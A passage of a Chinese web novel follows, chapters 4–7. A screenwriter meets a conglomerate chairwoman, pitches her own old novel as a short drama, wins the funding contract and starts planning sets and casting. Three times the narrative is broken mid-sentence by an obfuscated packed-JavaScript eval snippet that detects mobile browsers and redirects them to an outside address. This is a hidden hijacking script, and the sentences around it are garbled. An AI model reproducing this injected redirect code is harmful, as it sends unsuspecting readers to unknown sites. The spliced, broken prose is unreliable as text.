即便在夜色中,那几栋联袂而立的玻璃幕墙大厦也散发出巍峨冷峻的光芒,巨大的“晏海集团”Logo在高处静静闪烁,俯瞰着整座城市。 车子轻巧地滑入专属的地下通道,经过数道安保识别,停在了寂静无声的VIP停车场。 下车,换乘电梯。 电梯四壁透明,匀速上升时,脚下的城市如同一幅徐徐展开的光之画卷,万千灯火,以及纵横的街道尽收眼底。 温清水站在轿厢里,看着玻璃外逐渐渺小的一切,某种难以言喻的情绪在胸腔里轻轻涌动。 如果她也能拥有这样的高度,是不是就不用一次又一次,将自己笔下的世界磨平,拆解,甚至改得面目全非。 那些她想要查明的真相,是不是唾手可得。 电梯抵达顶层,“叮”一声轻响,门无声滑开。 走廊宽阔,地面光可鉴人,墙壁是温润的深色木材,纹理在灯光下缓慢铺开。 助理刘女士引着他们走向尽头那扇厚重的双开门。 门旁的助理席位后,一位女士早已起身,透过门上的单向玻璃确认来人后,才按下开关。 大门缓缓向内开启。 办公室大得惊人,视野开阔。 整面墙的落地窗外,是毫无遮挡的城市天际线,仿佛将整个城市的繁华都框了进来。 装修是极简的现代风格,低调的深灰色地毯吸走了所有脚步声。 几株高大的绿植点缀其中,生机盎然。 这里的一切,都在无声地诉说着权力的魅力。 晏挽云从办公桌后站起身。 她本人比财经新闻照片上更具气场。 及耳的短发打理得一丝不苟,并不凌厉,而是透着一种经过岁月沉淀的端然与精致。 她穿着一身剪裁极佳的米白色休闲西装,没有系扣,利落又从容。 她绕过宽大的办公桌,朝温清水走来,脸上是温和的笑意。 “温小姐,幸会。”她伸出手,握手有力而短暂。 “这次明泽的事,多亏有你。” “晏董,您好。”温清水回握,语气平稳。 “请坐。”晏挽云引她在待客区的沙发落座,自己坐在对面主位。 刘助理悄无声息地奉上两杯清茶,随即退到一旁,晏明泽很自觉地爬到奶奶身边,依偎着坐下,好奇地看着温清水。 晏挽云的目光落在温清水脸上,带着一种不令人反感的审视。 她看到一双清亮的杏眼,皮肤很白,却掩不住眼底因长期熬夜留下的淡淡青影。 额角那道尚未痊愈的浅痂,在柔和的顶灯下有些模糊。 “伤不要紧吧?”晏挽云开口,语气是真切地关心。 “明泽都跟我说了,当时情况很危险。是我安排不周,让你受惊了。” “您言重了。只是场意外。”温清水微微摇头,“况且,保护孩子是我应该做的。” “剧组那边,还顺利吗?”晏挽云端起茶杯,随意问道,“我听说,你们那部剧,是星光传媒投的。” “还在拍摄中。”温清水回答得谨慎。 晏挽云点点头,“如果有任何需要,无论是拍摄上的支持,还是额外的资源,都可以提。你救了明泽,于情于理,晏家都该有所表示。” 这话说得漂亮,既表达了感谢,也展露了晏氏的实力。 所谓“支持”和“资源”,对她而言不过是一句话的事。 温清水听懂了其中的分量,她双手放在膝上,背脊挺得很直,“谢谢晏董。剧组目前运转正常。这次意外,也是我自己疏忽,没能更早察觉隐患。” 她没有顺杆爬,没有借机诉苦或索取,反而将部分责任揽到自己身上。 晏挽云的目光细致地扫过温清水。 简单的白色毛衣,黑色长裤,看不出品牌的帆布包放在脚边。 那大概不是因为出身优渥见过世面所以从容,更像内在情绪极少波动,所以总是格外稳定。 这时,门口传来轻轻叩击声。 秘书推门进来,手里拿着文件夹,见到沙发区的温清水,脚步微顿。 “说吧,”晏挽云开口。 秘书略一躬身,走上前,“晏董,是关于短剧孵化基金的事。投资部筛选了下一季度的潜在投资标的,有几部小说的版权正在洽谈,需要您最终定夺方向。” 她翻开文件夹,“目前备选的有《转正后,我嫁总裁一胎三宝》《我在修仙界搞基建》《天降福宝,锦鲤小妹全家宠》,还有几部数据不错的,比如《譬若檐下听雨声》《春山不见我》……” 晏挽云听着,眉心微蹙,抬起手,做了个停止的手势。 “名字就不用一一念了。”她语气很淡。 “市场部看好的,无非是那些套路。我要的不是数据堆砌,是有潜力“大爆”且内容没有硬伤和太大争议的剧本。挂着晏海的名头,不能只看流量不顾质量。” 秘书合上文件夹,恭谨应道:“明白。我们会连同导演团队人选,重新做一份更精简的评估报告。” “嗯。”晏挽云淡淡地应了一声。 短剧投资。 小爆款。 内容不能有争议。 这几个关键词,像几颗石子投入温清水的心湖,漾开了一圈圈涟漪。 她一直安静地听着,垂着眼,看着杯中袅袅升起又消散的热气。 她需要名气,需要话语权,需要更快地往上走。 秘书准备离开。 就在她转身的刹那,温清水抬起头,目光看向主位上的晏挽云。 “晏董,”她的声音清晰,不大,却在空旷的办公室里显得有些突兀。 晏挽云循声看来。 温清水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她放在膝上的手指微微收拢,又松开。 “我拿我过去五年,在十几个剧组里,写过上百集剧本的经验。”她轻笑,“我知道在短剧饱和的现在,你需要更高品质的作品,无论是从人设,故事发展,还是演员演技,你希望能给观众眼前一亮的感觉。” “在所有‘流水线’操作之下,一个故事最初打动人的那个‘核’,我知道它应该在哪里,又该如何用最快的方式,让人看见它。如果您愿意给我这个机会,我确定我能带给你想要的作品。” 她停顿了一下,气息很稳。 “至于意外,”她抬眼,直视晏挽云,“火灾确实是一场意外。但我坐在这里,是因为我推开了那块隔板,带着晏明泽爬了出来。这不是运气,是我的选择。” 办公室里再次安静下来。 秘书已经悄无声息地退到了门边,眼观鼻鼻观心。 晏明泽看看奶奶,又看看温清水,小手无意识地抓住了晏挽云的衣袖。 良久。 晏挽云极轻地笑了一声。 那笑声里听不出什么,却让紧绷的空气稍稍流动。 “你很让我惊喜。”她说。 她朝门边的秘书摆手。 秘书立刻会意,快步走来,将手中那份还没来得及放下的文件夹,轻轻放到了温清水面前的茶几上。 深灰色的封皮,烫金的晏海集团徽标微微反光。 “这里是初步筛选的版权目录和部分项目书,当然如果你能吸纳到更优秀作品的版权,我很乐意接受。” 晏挽云的声音恢复了之前的温和,“给你一周时间。看完,然后告诉我,” 她的目光锁住温清水。 “如果是你,你会选哪个‘核’?又打算怎么让它,被市场‘看见’?” 温清水的视线落在那个文件夹上。 封皮冰凉。 她伸出手,指尖触到那平滑的表面。 “好,感谢您,愿意给我这个机会。” 她笑着,目光里带着灼热的希冀。 晏挽云点了点头,不再多言,仿佛刚才那场短暂的锋芒相对只是寻常问答。 她转而摸了摸孙子的头发,“明泽,以后到剧组,也要多跟温阿姨学习。” 晏明泽乖巧地点头,“好。” 温清水微微颔首,起身和晏挽云礼貌地告别。 助理送她到电梯。 窗外的城市,依旧灯火流转。 温清水的手指,还按在文件夹上。 很凉。 但掌心之下,仿佛能感觉到微弱而确定的搏动。 像一颗被埋藏了很久的种子,终于触到了裂缝里漏下的,第一线光。 5. 开端 走出晏氏大楼时,天已经暗透了。 温清水在台阶下停住脚步,回头望了一眼。 整栋楼灯火通明,玻璃幕墙映着城市的霓虹,繁华得有些晃眼。 最高几层的灯光尤其亮,她知道那里是哪里。 她看了很久,直到夜风吹得脸颊发凉,才转身走向路边。 叫的车还没到。 她低头看着手机屏幕,上面还停留在和晏挽云秘书的聊天界面,最后一句是对方发来的“期待您的方案”。 短短六个字,却像一块有分量的石头,沉甸甸地压在手心。 这是第一次,她不是等待被挑选,而是主动递出了自己的名字。 车来了。 她拉开车门坐进去,报出医院的地址。 窗外的街景流淌而过,她靠在座椅里,额角那道浅痂在掠过窗外的灯光下时隐时现。 病房里很安静,只有仪器规律的滴答声。 温清水把带来的仿真杏花插进花瓶,粉白的花瓣在床头灯下泛着柔和的光。 她在床边坐下,习惯性地先探了探桑晚的手温。 “今天遇到件有点意思的事。”她开口,声音轻得像怕惊扰什么,“晏氏你知道吧?就是那个晏海集团。他们的董事长,晏挽云,今天见了我。” 她用棉签蘸了水,润湿桑晚有些干的嘴唇。 “她给了我一个机会,让我定一个短剧的剧本方向。”温清水顿了顿,“直接对接投资方的那种,不用再经过导演、制片一层层改。” 棉签停了一下。 “桑晚,”她声音低了些,“如果这次能做出来,我以后可能就不用总改那些自己都看不下去的戏了。” 病床上的人依旧安静地睡着,睫毛在眼睑下投出浅浅的阴影。 温清水看了她一会儿,轻轻握住她的手。 “等我站稳。”她说。 家里厨房的窗户开着,夜风带着凉意吹进来。 温清水洗了一小把青菜,锅烧热,倒油,蒜末下锅爆香。 简单炒了一盘,盛了碗米饭,坐在餐桌前慢慢地吃。 饭吃完,碗洗干净,灶台擦干。 她走进书房,打开那个深灰色的文件夹。 灯光落在纸页上,她一行行看下去。 晏海集团的短剧孵化基金,单部预算在八十万到一百五十万之间。 这个数字在她脑子里转了一圈,很快就分解成更具体的部分,以她跟过五个剧组的经验,知道钱该怎么花。 如果是古装,服化道和场景是大头,演员片酬最多能挤出三十万,意味着只能找新人,或者有些粉丝基础但报价不高的网红。 现代剧就好些,场景和服装能省下一大块,演员的预算可以宽松到四十万上下,也许能请到一两个有过小爆作品,并且观众脸熟的演员。 她目光扫过“资源支持”那几行:星光传媒全渠道发行、影视基地内景棚免租十五天、基础音乐库授权、合作后期公司优惠价。 条件不算优厚,但足够启动。 她翻到那五本小说的简介。 《转正后,我嫁总裁一胎三宝》《我在修仙界搞基建》《天降福宝,锦鲤小妹全家宠》——前三本光看名字就知道是什么路数。 节奏快,冲突密,情绪直给,对演员的要求不高,哭的时候能掉眼泪,笑的时候别太僵就行。市面上这类片子已经很多了,观众爱看,但也容易腻。 《譬若檐下听雨声》《春山不见我》——后两本名字文艺些,讲的多是暗恋酸涩,还有破镜重圆。 这类故事需要演员有细腻的演技,镜头也得跟着情绪走,画面要好看,氛围要到位。 拍好了能出质感,拍不好就是又慢又闷,观众划走比翻书还快。 温清水向后靠在椅背上。 选前三本,安全,但难出头。 选后两本,冒险,可能血本无归。 她起身走到窗边,手撑在窗台上。 夜色浓稠,远处楼宇的灯光星星点点。 她知道这条路不好走,这是她第一次独立面对选择,每一个决定都可能直接导致成败。 回到电脑前,她戴上耳机。 随机播放的是一首很老的钢琴曲,旋律舒缓。 她本想去搜《春山不见我》的原文看看,指尖在触控板上滑动时,却误点了一个收藏夹最底部的链接。 页面跳转。 加载出来的,是作者后台的登录界面。 用户名自动填充着三个字。 清水纹。 她愣了一下。 这个账号,她已经大半年没登过了。 上一次更新还是去年秋天,再往前,就是更久以前的事了。 大学时她写过十几本书,最风光的时候,两本同时挂在金榜上。 后来进了剧组,她曾把自己最喜欢的一本现代言情推荐给制片人,对方当时笑着说“设定挺有意思”。 几个月后,她在剧组看到了那本小说被魔改成的剧本。 男主从白手起家的建筑师变成了霸总,女主从清醒独立的记者变成了只会哭哭啼啼的傻白甜。 核心的“成年人互相博弈又互相救赎”,被替换成了烂俗的误会和强吻。 她什么也没说。 那之后,她再也没向任何人提起自己写小说的事。 她开始研究市场,写那些来钱快并且易过稿的套路本子,把自己曾经相信的“人物的血肉”和“情感的重量”,一点点剥离,换上工业糖精和速成冲突。 耳机里的钢琴曲到了尾声。 网页右上角的消息中心,有个小小的红色数字,99+。 她点开。 大部分是读者的催更和留言,时间从几个月前跨到最近。 “大大什么时候回来呀?” “重温了第三遍《野火焚心》,求求了,给孩子一个番外吧!” “清水纹是我见过最会写‘坏女人’的作者,又爱又恨,上头!” “新来的读者,一口气补完了《逆轨》,求问作者还写文吗?” 温清水的指尖停在触摸板上。 她的视线向下,落在其中一条评论上: “大大是不是退圈了?《春日负暄》里周窈把陈屿送走那段我哭死了,那种‘我爱你但我不想你留下’的绝望,再没在别处看到过了。” 《春日负暄》。 她都快忘了这本书。 那是她大四写的最后一本长篇。 数据很好,上过金榜。 故事说的是表面完美的富家女周窈,家庭腐烂,内心崩坏,刻意引诱了父亲想用来扶持私生女的穷小子陈屿,相爱后又亲手将他推开送走。 多年后,陈屿功成名就归来,两人在废墟般的过往里试图重建信任。 “坏女孩”和“乖狗狗”。 破镜重圆,地位对调。 温清水靠在椅背上,望着屏幕。 忽然,她坐直了身体。 目光在晏氏提供的文件夹和《春日负暄》的封面之间来回移动。 一个念头清晰地浮现。 短剧市场缺的不是套路,是新鲜的人设,是极致的情感张力,是让观众明明知道“好虐”却忍不住追下去的“上头感”。 如果能把《春日负暄》的核心,那种“疯批美人引诱又抛弃,忠犬归来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165534|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强势追妻”的极致关系提炼出来,用短剧的节奏和镜头语言呈现。 她关掉后台,打开一个新文档。 手指放在键盘上,停顿片刻,然后开始敲击: 项目提案(初拟) 核心源:小说《春日负暄》(作者:清水纹) 主线:完美假面下的崩坏千金x被抛弃后涅槃归来的野心家 一句话:一场始于算计,终于沉沦的极限情感博弈。 她敲下最后几个字,靠在椅背上,长长地吐了一口气。 窗外的夜色浓重。 电脑屏幕的光映着她的脸,眼睛很亮。 第二天剧组照常开工。 温清水坐在监视器侧后方,看着场上正在拍的一场分别戏。 剧本里写的是三年后重逢,男女主在雨中的十字路口擦肩而过,回头相望,眼里都是克制的痛苦和未尽的余情。 场上的林薇和江辰照做了。 林薇回头,眼眶泛红。 江辰站定,嘴唇微动。 导演喊了“咔”,说这条过了。 温清水看着回放画面。 两个人都在哭,也都认真地看向对方,可她却感觉不到任何情感的流动。 她并不是泪点很高的人,看电影流泪是常事。 其实一部相对完美的剧,不只看剧本,还有演员和角色的适配度。 在现在快节奏的娱乐圈,大家不愿意去改变自己适配角色,所以改剧本成了捷径。 随着这种变革,演员的演技也变得无足轻重。 江辰正站在不远处补妆,和她点了下头算是打招呼。 温清水点头,然后移开视线。 中午休息时,王海平把她叫了过去。 “温编,”他语气比平时热络不少,还亲自给她倒了杯茶,“昨天听说你上了晏董的车?” 温清水接过茶杯,算是回答。 “晏海最近是不是在搞短剧投资?”王海平压低声音,“要是你有机会参与,可别忘了咱们合作的情分。以后有项目,导演、团队,我这儿都能给你搭把手。” 温清水抬起眼,看着他脸上那抹熟络的笑。 “谢谢王导,”她轻笑,“有消息一定先考虑您。” 话是这么说,但她心里清楚。 就算剧本和方案都过了,组建团队才是真正的难题。 导演、摄影、美术、演员,每一个环节都需要人,需要信得过并且能做事的人。 下午收工后,她没直接回家,去超市买了些菜和水果。 结账时路过杂志区,架子上堆着最新一期的影视行业周刊,封面标题是《短剧红海:如何杀出重围?》。 她拿起一本,翻了翻。 里面分析了最近几个月小爆的几部短剧,点赞数据、用户画像、营销策略,密密麻麻的图表和数字。 她买了那本杂志。 晚上吃完饭,她没急着改方案,而是打开平板,开始一部部刷最近热度高的短剧。 快节奏的逆袭打脸、豪门恩怨和虐恋情深,她一边看,一边在笔记本上记。 第3集:男主甩支票镜头,点赞比前集高 第7集:女主反击扇耳光,弹幕峰值 第12集:车祸失忆老梗,但评论区热议 看到凌晨一点,眼睛发涩。 她关掉平板,走到窗边。 夜晚的城市安静许多,只有零星的车灯划过街道。 路还很长。 但她已经迈出了第一步。 手里握着的,不再是别人给的,甚至需要她削足适履的鞋子。 而是她自己种下的,第一颗种子。 6. 拿下 剧组的杀青照安排在下午三点。 阳光很好,把搭了一半的布景棚照得明晃晃的。 所有人都挤在临时支起来的红色背景板前,像一群即将解散的候鸟。 温清水站在第二排靠左的位置,额角的伤已经好了。 蔡妍挤在她旁边,趁着摄影师调光的时候小声说:“总算结束了,温编,你可得好好歇两天。” “你也是。”温清水说。 “我?”蔡妍笑了,笑容里有点疲惫,“我得赶下一个组,明天就去横店了。” 摄影师在前面喊,“看这里——三、二、一!” 快门响了一声,又一声。 人群像收到某种信号,在短暂汇聚后又散开。 背景板被场工推走,灯光设备开始装箱,道具一件件搬上推车。 刚才还挤满人的地方,转眼就空了,只剩下导演、制片和两位主演还在那儿笑着合影,是剧组里心照不宣的仪式。 温清水站在原地,看着这一切。 每次杀青都是这样。 那些搭建起来的房间、街道和咖啡馆,都在快门按下的瞬间,开始迅速消解。 像一场精心策划的梦,到了该醒的时候。 她陪那些角色走了很长的路,现在终于到了告别的时候。 她又站了一会儿,抬头看着傍晚橘粉色的天空。 宽广,也没有边际。 她和几个还算熟悉的场务道了别,然后转身离开。 晚上回到家,温清水煮了碗面,吃完就开始改PPT。 这是她第一次做短剧的完整方案。 过去五年跟的都是网剧和电视剧,三四十集,慢慢铺陈,慢慢收尾。 短剧不一样,一分钟一集,八十集讲完一个完整的故事,所以每一秒都不能浪费。 她对着电脑,把自己最近看短剧的经验总结成笔记。 第几秒抛出钩子,第几秒该有反转,第几秒必须给情绪高点。 数据,图表,各大平台剪辑的名场面,她把所有东西都分析到极致。 忙到凌晨两点,最后检查了一遍错别字,保存。 关灯前,她又看了一眼屏幕上《春日负暄》的封面图。 那是她很多年前找画师定制的,漂亮朦胧的线条,两个人影坐在旧教室的窗边,光从外面斜斜地照进来。 她看了很久,最后合上电脑。 第二天上午九点四十,温清水到了晏氏大楼。 这次走的是正门。 旋转门玻璃擦得透亮,倒映出她今天特意换上的浅灰色西装。 头发扎成低马尾,露出光洁的额头,简单干练。 前台核对了预约,指引她到电梯间。 电梯上行,数字跳得平稳。 二十三层,“短剧产品孵化中心”的门牌挂在玻璃门旁边。 门内已经有个年轻的助理在等,看见她露出微笑,“温小姐您好,这边请。” 会议室很大,整面墙的落地窗外是错落的城市天际线。 长桌中央摆着矿泉水和小瓶装苏打水,投影屏幕已经降下来。 温清水找了个靠边的位置坐下,从包里拿出U盘,提前把PPT拷进电脑。 她来得早,会议室里还空着。 空气里有清新剂的味道,还有一点残留的咖啡香。 十点半,人陆续到了。 加上温清水,一共五个。 十点四十,一个女人走进来,站到屏幕前。 她是这个项目的负责人,姓李,声音干净利落:“感谢各位今天过来。晏海短剧孵化基金首期,我们收到了很多方案,最终筛选出五位进入今天的终审。流程很简单,每人十五分钟陈述,五分钟问答。陈述顺序抽签决定。” 她拿出一个不透明的小纸盒。 温清水抽到了四号。 倒数第二个。 第一个上去的是那个穿polo衫的男人。 他的方案是《转正后,我嫁总裁一胎三宝》。 PPT做得花哨,满屏的动态图表和流量数据。他讲得很熟练,重点放在“市场已验证的爆款模式”和“低风险高回报”上。 台下负责记录的几个部门员工频频点头,但表情没什么变化。 第二个是短发的女人,讲《我在修仙界搞基建》。 她着重分析了“种田流”在短剧市场的空白,以及如何用“基建”元素制造爽点。 第三个是那位头发花白的先生,选了《天降福宝,锦鲤小妹全家宠》。 他经验老到,讲了很多实操细节,怎么控制成本,怎么找性价比高的童星,怎么设计可爱的表情包传播。 很稳,但也很保守。 温清水安静地听着,偶尔在笔记本上记两笔。 轮到她了。 她站起身,走到台前,连接电脑,打开PPT。 第一页很干净,只有四个字:《春日负暄》。 “各位好,我是温清水。”她声音平稳,“我的方案不是从现有版权库选的,而是一部我个人认为,在当下短剧市场具有破局潜力的作品——小说《春日负暄》。” 她翻到下一页,是一张短剧市场的数据分析图。 “目前市面上的爆款短剧,主要集中在三个赛道:逆袭打脸、豪门恩怨、甜宠发糖。这些模式其实已经高度同质化,观众开始疲劳。” 她指着图表上的下滑曲线,“数据反馈,同类内容的点赞转化率在上个月下降了百分之十五。市场在呼唤新鲜感。不是套路的新皮肤,而是新的人设关系,新的情感张力。” 台下有人抬起眼。 温清水翻到下一页,是《春日负暄》的人物关系图。 “这部小说讲的是什么,表面完美的富家女,家庭腐烂,内心崩坏。她刻意引诱了父亲想用来扶持私生女的穷小子,相爱后又亲手将他推开送走。多年后,男人功成名就归来,两人在废墟般的过往里试图重建信任。” 她停顿了一下,让这句话沉下去。 “它的核心魅力在于极致的人设反差,和极高的情感浓度。” 温清水适时地提高了音量,“女主不是单纯的富家女,是‘坏’得让人心疼的疯批美人。男主不是霸总,是从卑微到强大、伤痕累累的忠犬。他们的关系始于算计,终于沉沦,每一步都有强烈的戏剧冲突和情绪爆点,这正好契合短剧需要的‘每集都有钩子’。” 她开始讲节奏设计,讲如何把长篇小说的核心情节点压缩进短剧的框架。 接着是预算分配。 “基于一百五十万的上限预算,”温清水调出表格,“我的分配比例是:演员片酬百分之三十五,制作成本百分之五十五,预留百分之十。为什么演员预算给得相对高,因为这两个角色需要演员有足够的理解力和表现力,才能撑起人设的复杂性。我会优先选择有表演基础,并且气质贴合的演员。” 她翻到选角参考页,放了几张符合角色气质的演员照片。 “制作上,现代剧场景可以大幅节约成本。我会把重点放在摄影和美术的质感上,用光影和色调来烘托情绪,给男女主设置单独的高光,让他们的魅力在这部剧里得到最大化体现。” 台下很安静。 几个原本低头记录的部门员工,现在都抬着头看她。 温清水翻到最后一页,是预期的传播策略。 她放出自己制作好的营销词,“我们会围绕‘疯批美人’‘忠犬黑化’‘破镜重圆’这几个关键词做社交传播,用短视频切片放大经典情绪场面,引导观众讨论爱情博弈和人格救赎这些更深层的话题。” “最后,我很感谢贵公司给我这个机会,让我站在这里。” 她讲完了。 按下翻页笔,屏幕回到标题页。 《春日负暄》四个字静静地停在那里。 会议室里安静了几秒。 温清水直到这时才注意到,晏挽云不知什么时候进来了,就坐在最远离屏幕的位置。 提问环节开始。 第一个问题来自内容部门的负责人。 “温小姐,我们初步了解了这部小说,数据确实不错,作者‘清水纹’手上有好几部热门作品。但版权问题怎么解决,如果作者不愿意卖,或者坐地起价,我们整个进度都会被打乱。” 温清水看着他,“版权问题我可以解决。我有把握在三天内拿到授权。如果因为版权问题导致项目延误,我愿意承担相应的违约责任。” 她说得笃定,没有一丝犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165535|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方点了点头,在笔记本上记了一笔。 第二个问题来自制作部门的一个中年男人,他推了推眼镜,语气带着点审视。 “温小姐,我看过你的履历,过去五年跟的都是长剧集。短剧和长剧完全是两套逻辑。你来做短剧,会不会觉得对你来说,是一种降级?” 这个问题有点尖锐。 一旁的实习生甚至轻吸了一口气。 温清水站在台上,背脊挺直。 窗外的光从侧面照进来,在她脸上投下清晰的光影。 “我不认为这是降级。”她开口,“长剧和短剧,只是载体不同,叙事节奏不同。但核心都一样,讲一个好故事,打动观看的人。” 她的目光扫过台下的人。 “短剧市场现在像一片刚开垦的沃土,大家都在抢着播种最容易成活的种子。这没错。但我想试试,种一颗不一样的种子。它可能长得慢一点,需要更精心地照料,但等它开花的时候,也许会是整片田里最特别的那一朵。” 她看向提问的人,眼神清澈。 “我愿意花这个心思。” 几秒钟的沉默。 晏挽云抬起手,开始鼓掌。 最后一个陈述者上台时,气氛已经明显变了。 他的方案做得认真,但台下的人似乎还没从上一个方案里回过神来,听得有些心不在焉。 陈述全部结束后,李负责人让大家休息十五分钟。 温清水去了趟洗手间,用冷水拍了拍脸。 镜子里的自己,眼睛很亮,那道疤痕淡得几乎看不见了。 回到会议室时,结果已经出来了。 李负责人站在台前,手里拿着一张纸,“经过综合评议,晏海短剧孵化基金首期的合作方是——” 她看向温清水。 “温清水小姐,《春日负暄》项目。” 会议室里响起礼节性的掌声。 温清水站起来,走过去。 李负责人递给她一份合同,很薄,只有十几页。 她走到窗边的角落,一页一页仔细看完,预算、周期、分成比例和权利义务,每一条都写得清楚。 没有陷阱。 她拿起笔,在最后一页签下自己的名字。 字迹平稳,一笔一画。 李负责人接过合同,也签了字,然后伸出手,“合作愉快。” “合作愉快。”温清水握住她的手。 散会后,人群往外走。 温清水收拾东西时,晏挽云走了过来。 “方案做得不错。”晏挽云看着她,“尤其是最后那段话,‘种一颗不一样的种子’。” 温清水抬起头,“谢谢晏董。” “星光传媒会全力配合你。”晏挽云目光深远,“好好做。我等着看你种出来的花。” “我会的。”她微笑回应。 晏挽云点了点头,没再多说,转身离开了会议室。 温清水站在原地,看着她的背影消失在门口。 她深吸一口气,慢慢吐出来。 手指碰到口袋里的手机,她拿出来,解锁,点开那个很久没用的作者后台。 消息列表里,“清水纹”这个名字安静地躺着。 她看了很久,然后关掉屏幕。 傍晚的医院走廊,光线昏黄。 温清水推开病房门,把包放在椅子上。 她走到窗边,拉开一点窗帘,让最后的夕光照进来。 桑晚依旧睡着,呼吸平稳。 温清水在床边坐下,从包里拿出刚签的合同,翻开第一页,放在桑晚手边。 “我就说我会成功。”她声音很轻,“我自己定的项目,自己挑的本子。” 她的手指轻轻抚过合同上自己的签名。 “一切都会慢慢好起来的。”温清水握住桑晚的手,传递着自己温热的体温。 “你也是。” 窗外,夕阳正一点点沉下去,把天空染成淡淡的金红色。 她看着那片光慢慢移动,从床尾爬到墙壁,最后消失在窗框之外。 夜色漫上来之前,房间里最后一点光亮,落在那份合同的封面上。 《春日负暄》。 四个字,在暮色里,显得格外清晰。 7. 正轨 星光传媒的影视基地在城郊,远离城市的喧嚣。 温清水看见远处古装宫殿的飞檐一角,在下午的光里落下清晰的影子。 带路的助理姓赵,说话时很客气。 “温小姐,这边主要是现代内景棚,租给外部剧组的,配套最齐全。咱们的免租期从开机日算,但布景搭建时间也算在内,得精打细算。” 温清水跟着他走进A棚。 A棚的层高很理想,头顶的灯架纵横如巨型骨骼。 空气中飘着淡淡的油漆味,上一个剧组留下的残景还未完全拆除,半个咖啡馆的轮廓,一面贴满复古海报的砖墙。 她走到那面砖墙前,手指划过粗糙的墙面。 赵助理刚想说这都会拆掉,却见她摇了摇头。 “这个质感很好。”温清水开口,声音在空旷的棚里显得清晰。 “旧公寓的楼道可以用这个背景,省一笔搭景钱,质感也更真实。” 她走到棚子中央,环顾四周。 光从高高的侧窗涌入,在地面投下几块明亮的光斑,其余部分沉在舒适的暗影里。 她在心里测量,规划。 周窈和陈屿第一次接吻的楼梯间,需要昏暗又冰冷的光线。 那场雨夜争吵的客厅,需要巨大的落地窗,窗外要能打出滂沱大雨的灯光效果。 还有最后重逢的宴会,在觥筹交错的宴会上,女主抬头时能看见远处城市的灯火。 “夜景的灯光设备够用吗?”她问。 “基础设备都有,但如果您需要特殊的光效或大型灯具,可能需要额外租赁。”赵助理翻着平板上的清单,“不过星光有长期合作的租赁公司,可以走内部价。” 温清水记下了。 预算得再抠一抠。 他们从A棚出来,沿着通道往B棚走。 通道很宽,墙边堆着些废弃的布景板,上面还残留着模糊的街景还有宫殿花纹。 走到拐角时,对面来了几个人。 走在最前面的是个男人,穿着深灰色的羊绒大衣,没系扣,里面是剪裁合身的黑色西装。 他正侧头和身旁的秘书说话,眉头微蹙,侧脸的线条在通道顶光下显得有些冷。 温清水脚步顿了一下。 她认出了那张脸,晏纪淮。 和照片上不太一样。 赵助理显然也认出来了,立刻停下脚步,微微躬身,“晏总。” 晏纪淮的目光扫过来,在温清水脸上停留了半秒。 他身旁的秘书适时地低声说了句什么。 温清水听见几个零碎的字:“……晏董推荐的……短剧项目……” 晏纪淮听完,只极淡地点了下头。 他继续和秘书说着刚才的事,从她身边走了过去。 带起的风里有很淡的木质香,冷冽,昂贵。 赵助理等他们走远了,才松了口气,小声解释:“那是我们星光的晏总,晏董的二公子。平时不太来基地,今天可能是视察。” “嗯。”温清水应了一声,没多问。 她回头看了一眼。 晏纪淮的背影已经消失在通道尽头,大衣下摆随着步伐微微摆动。 她转回头,继续往B棚走。 晚上回到家,温清水打开电脑,开始整理演员资料。 深夜,书房只亮着一盏护眼灯。 温清水面前的资料摊开着,平板屏幕上是数据曲线和社交媒体舆情分析。 这是她五年剧组生涯里养成的习惯。 不止看作品,更要看作品之外的涟漪:谁因为什么角色被讨论,讨论的焦点是赞美还是争议,后续资源是上升还是停滞。 她心里已经有两个人选。 阮月白,二十六岁。 两年前那部爆剧,她演了一个最终离开豪门的叛逆妻子。 剧红了,但所有话题都围着男主转——“他终于学会了放手”“霸总成长史”。 阮月白成了那个被“成全”的背景板,漂亮,得体,恰到好处。 后来几部戏,类型差不多。 数据不温不火,卡在一个上不去的坎。 温清水点开她最近的访谈。 记者问:“你觉得那部戏为什么成功?” 阮月白微笑:“是剧本好,对手演员也厉害。” 语气温婉,无懈可击。 但温清水注意到,她说这话时,手指微微的蜷起。 很轻的动作,持续了三秒。 林曦,二十三岁。 短视频平台上的百万粉丝博主,一个回眸就能点赞百万。 可一进短剧,就变了味。 剧本让他演深情男主,他就只能红着眼眶说“别走”。 演技生涩,气质割裂。 最新一部剧,播放量增速明显慢了。 有粉丝剪了对比视频,左边是他自己的氛围短片,清冷疏离;右边是剧里片段,表情用力。 标题很直接:“还我那个氛围感忧郁帅哥。” 点赞很高。 但其实抛开演技问题,他的气质和长相都带着很标准的少年感。 最重要的是身高优越,肩宽腿长,在普遍需要特定角度拍摄的短剧男演员里,是罕见的“实物比镜头更好”的类型。 温清水关掉页面,靠进椅背。 她明白他们需要什么了。 想通关键,温清水没有立刻联系。 